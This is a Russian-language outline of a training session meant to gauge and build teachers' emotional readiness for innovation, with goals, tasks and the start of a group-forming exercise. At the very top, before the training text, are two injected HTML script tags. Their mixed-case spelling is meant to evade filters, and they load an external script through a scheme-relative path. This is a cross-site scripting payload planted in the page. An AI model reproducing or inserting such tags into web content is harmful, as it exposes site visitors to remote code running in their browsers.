<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Цель. Выявление  психологической готовности педагогического коллектива к инновационной деятельности. Развитие эмоциональной готовности педагога к инновационной деятельности.

Задачи.

1.     Диагностика актуальной эмоциональной готовности участников тренинга к инновационной деятельности.

2.     Осознать понятие «Инновация».

3.     Осознать внутренний ресурс для развития эмоциональной готовности к инновациям.

Ход тренинга:

Разделить всех участников тренинга на 4 группы с помощью карточек четырёх цветов (красный, синий, желтый, зеленый). Каждый сам выбирает одну карточку понравившегося цвета. Участники занимают места возле

того стола, на котором стоит карточка такого же цвета. Группы готовы.